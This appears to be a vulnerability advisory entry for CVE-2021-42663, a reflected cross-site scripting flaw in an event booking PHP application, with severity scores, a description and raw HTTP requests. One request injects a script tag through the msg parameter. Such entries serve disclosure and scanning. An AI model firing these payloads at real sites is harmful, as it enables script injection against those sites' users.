| Title | Sourcecodester Online Event Booking and Reservation System 2.3.0 - Cross-Site Scripting |
|---|---|
| Author | fxploit |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions. |
| Remediation | To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts. |
| CVSS Score | 4.3 |
| EPSS Score | 0.37983 |
| CVE ID | CVE-2021-42663 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve xss online_event_booking_and_reservation_system_project vuln |
Sourcecodester Online Event Booking and Reservation System 2.3.0 contains a cross-site scripting vulnerability in PHP/MySQL via the msg parameter to /event-management/index.php. An attacker can leverage this vulnerability in order to change the visibility of the website. Once the target user clicks on a given link, the content of the HTML code of the attacker’s choice displays.
POST /login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15
Connection: close
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
name=8Fbs6b&pwd=FJKjDc
GET /views/index.php?msg=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-42663.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-42663.pcap
N/AN/A